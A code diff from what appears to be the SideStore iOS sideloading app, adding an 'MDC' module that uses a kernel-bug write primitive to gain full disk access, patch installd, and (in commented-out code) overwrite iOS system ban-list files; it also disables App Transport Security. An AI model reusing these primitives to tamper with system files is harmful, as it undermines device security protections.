<key>CFBundleShortVersionString</key>
|
||||||
<string>$(MARKETING_VERSION)</string>
|
<string>$(MARKETING_VERSION)</string>
|
||||||
<key>CFBundleURLTypes</key>
|
<key>CFBundleURLTypes</key>
|
||||||
@@ -91,13 +99,6 @@
|
|||||||
</array>
|
</array>
|
||||||
<key>LSRequiresIPhoneOS</key>
|
<key>LSRequiresIPhoneOS</key>
|
||||||
<true/>
|
<true/>
|
||||||
<key>LSSupportsOpeningDocumentsInPlace</key>
|
|
||||||
<false/>
|
|
||||||
<key>NSAppTransportSecurity</key>
|
|
||||||
<dict>
|
|
||||||
<key>NSAllowsArbitraryLoads</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
<key>NSBonjourServices</key>
|
<key>NSBonjourServices</key>
|
||||||
<array>
|
<array>
|
||||||
<string>_altserver._tcp</string>
|
<string>_altserver._tcp</string>
|
||||||
@@ -136,10 +137,13 @@
|
|||||||
<string>fetch</string>
|
<string>fetch</string>
|
||||||
<string>remote-notification</string>
|
<string>remote-notification</string>
|
||||||
</array>
|
</array>
|
||||||
<key>UIFileSharingEnabled</key>
|
|
||||||
<true/>
|
|
||||||
<key>UILaunchStoryboardName</key>
|
<key>UILaunchStoryboardName</key>
|
||||||
<string>LaunchScreen</string>
|
<string>LaunchScreen</string>
|
||||||
|
<key>NSAppTransportSecurity</key>
|
||||||
|
<dict>
|
||||||
|
<key>NSAllowsArbitraryLoads</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
<key>UIMainStoryboardFile</key>
|
<key>UIMainStoryboardFile</key>
|
||||||
<string>Main</string>
|
<string>Main</string>
|
||||||
<key>UIRequiredDeviceCapabilities</key>
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
@@ -206,5 +210,17 @@
|
|||||||
</dict>
|
</dict>
|
||||||
</dict>
|
</dict>
|
||||||
</array>
|
</array>
|
||||||
|
<key>UISupportsDocumentBrowser</key>
|
||||||
|
<true/>
|
||||||
|
<key>UIFileSharingEnabled</key>
|
||||||
|
<true/>
|
||||||
|
<!--
|
||||||
|
#if MDC
|
||||||
|
-->
|
||||||
|
<key>NSAppleMusicUsageDescription</key>
|
||||||
|
<string>Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have.</string>
|
||||||
|
<!--
|
||||||
|
#endif
|
||||||
|
-->
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
|
|||||||
@@ -8,7 +8,6 @@
|
|||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
|
|
||||||
import minimuxer
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
@@ -40,12 +39,8 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
|
|||||||
|
|
||||||
// Give ourselves 9 extra seconds before starting handle() timeout timer.
|
// Give ourselves 9 extra seconds before starting handle() timeout timer.
|
||||||
// 10 seconds or longer results in timeout regardless.
|
// 10 seconds or longer results in timeout regardless.
|
||||||
self.queue.asyncAfter(deadline: .now() + 8.0) {
|
self.queue.asyncAfter(deadline: .now() + 9.0) {
|
||||||
if minimuxer.ready() {
|
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
|
|
||||||
} else {
|
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .failure, userActivity: nil))
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !DatabaseManager.shared.isStarted
|
if !DatabaseManager.shared.isStarted
|
||||||
@@ -57,14 +52,12 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
|
|
||||||
self.refreshApps(intent: intent)
|
self.refreshApps(intent: intent)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
|
|
||||||
self.refreshApps(intent: intent)
|
self.refreshApps(intent: intent)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -90,11 +83,6 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
|
|||||||
// We took too long to finish and return the final result,
|
// We took too long to finish and return the final result,
|
||||||
// so we'll now present a normal notification when finished.
|
// so we'll now present a normal notification when finished.
|
||||||
operation.presentsFinishedNotification = true
|
operation.presentsFinishedNotification = true
|
||||||
if minimuxer.ready() {
|
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
|
|
||||||
} else {
|
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .failure, userActivity: nil))
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .inProgress, userActivity: nil))
|
self.finish(intent, response: RefreshAllIntentResponse(code: .inProgress, userActivity: nil))
|
||||||
@@ -118,9 +106,6 @@ private extension IntentHandler
|
|||||||
{
|
{
|
||||||
// Queue response in case refreshing finishes after confirm() but before handle().
|
// Queue response in case refreshing finishes after confirm() but before handle().
|
||||||
self.queuedResponses[intent] = response
|
self.queuedResponses[intent] = response
|
||||||
DispatchQueue.main.async {
|
|
||||||
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -141,12 +126,10 @@ private extension IntentHandler
|
|||||||
}
|
}
|
||||||
|
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
|
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
|
||||||
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
|
|
||||||
}
|
}
|
||||||
catch ~RefreshErrorCode.noInstalledApps
|
catch RefreshError.noInstalledApps
|
||||||
{
|
{
|
||||||
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
|
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
|
||||||
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
|
|
||||||
}
|
}
|
||||||
catch let error as NSError
|
catch let error as NSError
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
//
|
//
|
||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
import SwiftUI
|
||||||
import Roxas
|
import Roxas
|
||||||
import EmotionalDamage
|
import EmotionalDamage
|
||||||
import minimuxer
|
import minimuxer
|
||||||
@@ -41,100 +42,48 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
override func viewDidLoad()
|
override func viewDidLoad()
|
||||||
{
|
{
|
||||||
defer {
|
defer {
|
||||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
if UnstableFeatures.enabled(.swiftUI) {
|
||||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
let rootView = RootView()
|
||||||
|
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||||
|
self.destinationViewController = UIHostingController(rootView: rootView)
|
||||||
|
} else {
|
||||||
|
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||||
|
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||||
|
}
|
||||||
}
|
}
|
||||||
super.viewDidLoad()
|
super.viewDidLoad()
|
||||||
}
|
}
|
||||||
|
|
||||||
override func viewDidAppear(_ animated: Bool) {
|
override func viewDidAppear(_ animated: Bool) {
|
||||||
super.viewDidAppear(true)
|
super.viewDidAppear(true)
|
||||||
if #available(iOS 17, *), !UserDefaults.standard.sidejitenable {
|
|
||||||
DispatchQueue.global().async {
|
|
||||||
self.isSideJITServerDetected() { result in
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
switch result {
|
|
||||||
case .success():
|
|
||||||
let dialogMessage = UIAlertController(title: "SideJITServer Detected", message: "Would you like to enable SideJITServer", preferredStyle: .alert)
|
|
||||||
|
|
||||||
// Create OK button with action handler
|
|
||||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
|
||||||
UserDefaults.standard.sidejitenable = true
|
|
||||||
})
|
|
||||||
|
|
||||||
let cancel = UIAlertAction(title: "Cancel", style: .cancel)
|
|
||||||
//Add OK button to a dialog message
|
|
||||||
dialogMessage.addAction(ok)
|
|
||||||
dialogMessage.addAction(cancel)
|
|
||||||
|
|
||||||
// Present Alert to
|
|
||||||
self.present(dialogMessage, animated: true, completion: nil)
|
|
||||||
case .failure(_):
|
|
||||||
print("Cannot find sideJITServer")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if #available(iOS 17, *), UserDefaults.standard.sidejitenable {
|
|
||||||
DispatchQueue.global().async {
|
|
||||||
self.askfornetwork()
|
|
||||||
}
|
|
||||||
print("SideJITServer Enabled")
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
#if MDC
|
||||||
|
MDC.alertIfNotPatched()
|
||||||
|
#endif
|
||||||
|
|
||||||
#if !targetEnvironment(simulator)
|
#if !targetEnvironment(simulator)
|
||||||
|
if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete {
|
||||||
|
self.showOnboarding()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||||
|
|
||||||
guard let pf = fetchPairingFile() else {
|
guard let pf = fetchPairingFile() else {
|
||||||
displayError("Device pairing file not found.")
|
self.showOnboarding(enabledSteps: [.pairing])
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
start_minimuxer_threads(pf)
|
start_minimuxer_threads(pf)
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
func askfornetwork() {
|
func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
|
||||||
let address = UserDefaults.standard.textInputSideJITServerurl ?? ""
|
let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
|
||||||
|
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||||
var SJSURL = address
|
let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
|
||||||
|
navigationController.isNavigationBarHidden = true
|
||||||
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
|
navigationController.isModalInPresentation = true
|
||||||
SJSURL = "http://sidejitserver._http._tcp.local:8080"
|
self.present(navigationController, animated: true)
|
||||||
}
|
|
||||||
|
|
||||||
// Create a network operation at launch to Refresh SideJITServer
|
|
||||||
let url = URL(string: "\(SJSURL)/re/")!
|
|
||||||
let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
|
|
||||||
print(data)
|
|
||||||
}
|
|
||||||
task.resume()
|
|
||||||
}
|
|
||||||
|
|
||||||
func isSideJITServerDetected(completion: @escaping (Result<Void, Error>) -> Void) {
|
|
||||||
let address = UserDefaults.standard.textInputSideJITServerurl ?? ""
|
|
||||||
|
|
||||||
var SJSURL = address
|
|
||||||
|
|
||||||
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
|
|
||||||
SJSURL = "http://sidejitserver._http._tcp.local:8080"
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create a network operation at launch to Refresh SideJITServer
|
|
||||||
let url = URL(string: SJSURL)!
|
|
||||||
let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
|
|
||||||
if let error = error {
|
|
||||||
print("No SideJITServer on Network")
|
|
||||||
completion(.failure(error))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
completion(.success(()))
|
|
||||||
}
|
|
||||||
task.resume()
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func fetchPairingFile() -> String? {
|
func fetchPairingFile() -> String? {
|
||||||
@@ -149,57 +98,14 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
fm.fileExists(atPath: appResourcePath.path),
|
fm.fileExists(atPath: appResourcePath.path),
|
||||||
let data = fm.contents(atPath: appResourcePath.path),
|
let data = fm.contents(atPath: appResourcePath.path),
|
||||||
let contents = String(data: data, encoding: .utf8),
|
let contents = String(data: data, encoding: .utf8),
|
||||||
!contents.isEmpty,
|
!contents.isEmpty {
|
||||||
!UserDefaults.standard.isPairingReset {
|
|
||||||
print("Loaded ALTPairingFile from \(appResourcePath.path)")
|
print("Loaded ALTPairingFile from \(appResourcePath.path)")
|
||||||
return contents
|
return contents
|
||||||
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"), !UserDefaults.standard.isPairingReset{
|
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
|
||||||
print("Loaded ALTPairingFile from Info.plist")
|
print("Loaded ALTPairingFile from Info.plist")
|
||||||
return plistString
|
return plistString
|
||||||
} else {
|
|
||||||
// Show an alert explaining the pairing file
|
|
||||||
// Create new Alert
|
|
||||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file or select \"Help\" for help.", preferredStyle: .alert)
|
|
||||||
|
|
||||||
// Create OK button with action handler
|
|
||||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
|
||||||
// Try to load it from a file picker
|
|
||||||
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
|
||||||
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
|
|
||||||
types.append(.xml)
|
|
||||||
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
|
||||||
documentPickerController.shouldShowFileExtensions = true
|
|
||||||
documentPickerController.delegate = self
|
|
||||||
self.present(documentPickerController, animated: true, completion: nil)
|
|
||||||
UserDefaults.standard.isPairingReset = false
|
|
||||||
})
|
|
||||||
|
|
||||||
//Add "help" button to take user to wiki
|
|
||||||
let wikiOption = UIAlertAction(title: "Help", style: .default) { (action) in
|
|
||||||
let wikiURL: String = "https://docs.sidestore.io/docs/getting-started/pairing-file"
|
|
||||||
if let url = URL(string: wikiURL) {
|
|
||||||
UIApplication.shared.open(url)
|
|
||||||
}
|
|
||||||
sleep(2)
|
|
||||||
exit(0)
|
|
||||||
}
|
|
||||||
|
|
||||||
//Add buttons to dialog message
|
|
||||||
dialogMessage.addAction(wikiOption)
|
|
||||||
dialogMessage.addAction(ok)
|
|
||||||
|
|
||||||
// Present Alert to
|
|
||||||
self.present(dialogMessage, animated: true, completion: nil)
|
|
||||||
|
|
||||||
let dialogMessage2 = UIAlertController(title: "Analytics", message: "This app contains anonymous analytics for research and project development. By continuing to use this app, you are consenting to this data collection", preferredStyle: .alert)
|
|
||||||
|
|
||||||
let ok2 = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in})
|
|
||||||
|
|
||||||
dialogMessage2.addAction(ok2)
|
|
||||||
self.present(dialogMessage2, animated: true, completion: nil)
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func displayError(_ msg: String) {
|
func displayError(_ msg: String) {
|
||||||
@@ -250,14 +156,10 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
try start(pairing_file, documentsDirectory)
|
try start(pairing_file, documentsDirectory)
|
||||||
} catch {
|
} catch {
|
||||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||||
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
displayError("minimuxer failed to start, please restart SideStore. \(error.message())")
|
||||||
}
|
|
||||||
if #available(iOS 17, *) {
|
|
||||||
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
start_auto_mounter(documentsDirectory)
|
|
||||||
}
|
}
|
||||||
|
set_debug(UserDefaults.shared.isDebugLoggingEnabled)
|
||||||
|
start_auto_mounter(documentsDirectory)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
177
AltStore/MDC/MDC+AltStore.swift
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
// Extension of MDC+AltStoreCore for the functionality AltStore uses
|
||||||
|
// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
|
extension MDC {
|
||||||
|
#if MDC
|
||||||
|
enum PatchError: LocalizedError {
|
||||||
|
case NoFDA(error: String)
|
||||||
|
case FailedPatchd
|
||||||
|
|
||||||
|
var failureReason: String? {
|
||||||
|
switch (self) {
|
||||||
|
case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error)
|
||||||
|
case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static func patch3AppLimit() async throws {
|
||||||
|
#if !targetEnvironment(simulator)
|
||||||
|
let res: PatchError? = await withCheckedContinuation { continuation in
|
||||||
|
grant_full_disk_access { error in
|
||||||
|
if let error = error {
|
||||||
|
continuation.resume(returning: PatchError.NoFDA(error: error.message()))
|
||||||
|
} else if !patch_installd() {
|
||||||
|
continuation.resume(returning: PatchError.FailedPatchd)
|
||||||
|
} else {
|
||||||
|
continuation.resume(returning: nil)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let error = res {
|
||||||
|
throw error
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.")
|
||||||
|
try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC)))
|
||||||
|
// throw MDC.PatchError.NoFDA(error: "This is a test error")
|
||||||
|
#endif
|
||||||
|
|
||||||
|
UserDefaults.shared.lastInstalldPatchBootTime = bootTime()
|
||||||
|
UserDefaults.shared.hasPatchedInstalldEver = true
|
||||||
|
}
|
||||||
|
|
||||||
|
static func alertIfNotPatched() {
|
||||||
|
guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return }
|
||||||
|
|
||||||
|
UIApplication.alert(
|
||||||
|
title: L10n.Remove3AppLimitView.title,
|
||||||
|
message: L10n.Remove3AppLimitView.NotAppliedAlert.message,
|
||||||
|
leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in
|
||||||
|
Task {
|
||||||
|
do {
|
||||||
|
try await MDC.patch3AppLimit()
|
||||||
|
|
||||||
|
await UIApplication.alert(
|
||||||
|
title: L10n.Remove3AppLimitView.success
|
||||||
|
)
|
||||||
|
} catch {
|
||||||
|
await UIApplication.alert(
|
||||||
|
title: L10n.AsyncFallibleButton.error,
|
||||||
|
message: error.message()
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported
|
||||||
|
private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed
|
||||||
|
|
||||||
|
private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported
|
||||||
|
private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed
|
||||||
|
|
||||||
|
static var isSupported: Bool {
|
||||||
|
#if targetEnvironment(simulator)
|
||||||
|
true
|
||||||
|
#else
|
||||||
|
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
|
||||||
|
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#if MDC
|
||||||
|
// enum WhitelistPatchResult {
|
||||||
|
// case success, failure
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||||
|
//
|
||||||
|
// func patchWhiteList() {
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||||
|
// #if false
|
||||||
|
// let documentDirectory = FileManager.default.urls(
|
||||||
|
// for: .documentDirectory,
|
||||||
|
// in: .userDomainMask
|
||||||
|
// )[0].path
|
||||||
|
//
|
||||||
|
// let pathToRealTarget = originPath
|
||||||
|
// let originPath = documentDirectory + originPath
|
||||||
|
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||||
|
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||||
|
// #endif
|
||||||
|
//
|
||||||
|
// // open and map original font
|
||||||
|
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||||
|
// if fd == -1 {
|
||||||
|
// print("Could not open target file")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// defer { close(fd) }
|
||||||
|
// // check size of font
|
||||||
|
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||||
|
// guard originalFileSize >= replacementData.count else {
|
||||||
|
// print("Original file: \(originalFileSize)")
|
||||||
|
// print("Replacement file: \(replacementData.count)")
|
||||||
|
// print("File too big!")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// lseek(fd, 0, SEEK_SET)
|
||||||
|
//
|
||||||
|
// // Map the font we want to overwrite so we can mlock it
|
||||||
|
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||||
|
// if fileMap == MAP_FAILED {
|
||||||
|
// print("Failed to map")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// // mlock so the file gets cached in memory
|
||||||
|
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||||
|
// print("Failed to mlock")
|
||||||
|
// return true
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// // for every 16k chunk, rewrite
|
||||||
|
// print(Date())
|
||||||
|
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||||
|
// print(String(format: "%lx", chunkOff))
|
||||||
|
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||||
|
// var overwroteOne = false
|
||||||
|
// for _ in 0..<2 {
|
||||||
|
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||||
|
// unalign_csr(
|
||||||
|
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||||
|
// )
|
||||||
|
// }
|
||||||
|
// if overwriteSucceeded {
|
||||||
|
// overwroteOne = true
|
||||||
|
// print("Successfully overwrote!")
|
||||||
|
// break
|
||||||
|
// }
|
||||||
|
// print("try again?!")
|
||||||
|
// }
|
||||||
|
// guard overwroteOne else {
|
||||||
|
// print("Failed to overwrite")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// print(Date())
|
||||||
|
// print("Successfully overwrote!")
|
||||||
|
// return true
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// func readFile(path: String) -> String? {
|
||||||
|
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||||
|
// }
|
||||||
|
#endif
|
||||||
33
AltStore/MDC/MDC+AltStoreCore.swift
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
//
|
||||||
|
// MDC+AltStoreCore.swift
|
||||||
|
// AltStoreCore
|
||||||
|
//
|
||||||
|
// Created by naturecodevoid on 5/31/23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
// Parts of MDC we need in AltStoreCore
|
||||||
|
// TODO: destroy AltStoreCore
|
||||||
|
|
||||||
|
public class MDC {
|
||||||
|
#if MDC
|
||||||
|
public static var installdHasBeenPatched: Bool {
|
||||||
|
guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false }
|
||||||
|
return lastInstalldPatchBootTime == bootTime()
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
#if MDC
|
||||||
|
public func bootTime() -> Date? {
|
||||||
|
var tv = timeval()
|
||||||
|
var tvSize = MemoryLayout<timeval>.size
|
||||||
|
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||||
|
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||||
|
}
|
||||||
|
#endif
|
||||||
99
AltStore/MDC/Remove3AppLimitView.swift
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
//
|
||||||
|
// Remove3AppLimitView.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by naturecodevoid on 5/29/23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
#if MDC
|
||||||
|
import SwiftUI
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
|
fileprivate extension View {
|
||||||
|
func common() -> some View {
|
||||||
|
self
|
||||||
|
.padding()
|
||||||
|
.transition(.opacity.animation(.linear))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct Remove3AppLimitView: View {
|
||||||
|
@ObservedObject private var iO = Inject.observer
|
||||||
|
|
||||||
|
@State var runningPatch = false
|
||||||
|
@State private var showErrorAlert = false
|
||||||
|
@State private var errorAlertMessage = ""
|
||||||
|
@State private var showSuccessAlert = false
|
||||||
|
|
||||||
|
@ViewBuilder
|
||||||
|
private var notSupported: some View {
|
||||||
|
Text(L10n.Remove3AppLimitView.notSupported)
|
||||||
|
}
|
||||||
|
|
||||||
|
@ViewBuilder
|
||||||
|
private var installdHasBeenPatched: some View {
|
||||||
|
Text(L10n.Remove3AppLimitView.alreadyPatched)
|
||||||
|
Text(L10n.Remove3AppLimitView.tenAppsInfo)
|
||||||
|
}
|
||||||
|
|
||||||
|
@ViewBuilder
|
||||||
|
private var applyPatch: some View {
|
||||||
|
Text(L10n.Remove3AppLimitView.patchInfo)
|
||||||
|
Text(L10n.Remove3AppLimitView.tenAppsInfo)
|
||||||
|
}
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
VStack {
|
||||||
|
if !MDC.isSupported {
|
||||||
|
notSupported.common()
|
||||||
|
} else {
|
||||||
|
if MDC.installdHasBeenPatched {
|
||||||
|
installdHasBeenPatched.common()
|
||||||
|
} else {
|
||||||
|
applyPatch.common()
|
||||||
|
SwiftUI.Button(action: {
|
||||||
|
Task {
|
||||||
|
do {
|
||||||
|
guard !runningPatch else { return }
|
||||||
|
runningPatch = true
|
||||||
|
|
||||||
|
try await MDC.patch3AppLimit()
|
||||||
|
|
||||||
|
showSuccessAlert = true
|
||||||
|
} catch {
|
||||||
|
errorAlertMessage = error.message()
|
||||||
|
showErrorAlert = true
|
||||||
|
}
|
||||||
|
runningPatch = false
|
||||||
|
}
|
||||||
|
}) { Text(L10n.Remove3AppLimitView.applyPatch) }
|
||||||
|
.buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false))
|
||||||
|
.padding()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Spacer()
|
||||||
|
}
|
||||||
|
.alert(isPresented: $showErrorAlert) {
|
||||||
|
Alert(
|
||||||
|
title: Text(L10n.AsyncFallibleButton.error),
|
||||||
|
message: Text(errorAlertMessage)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
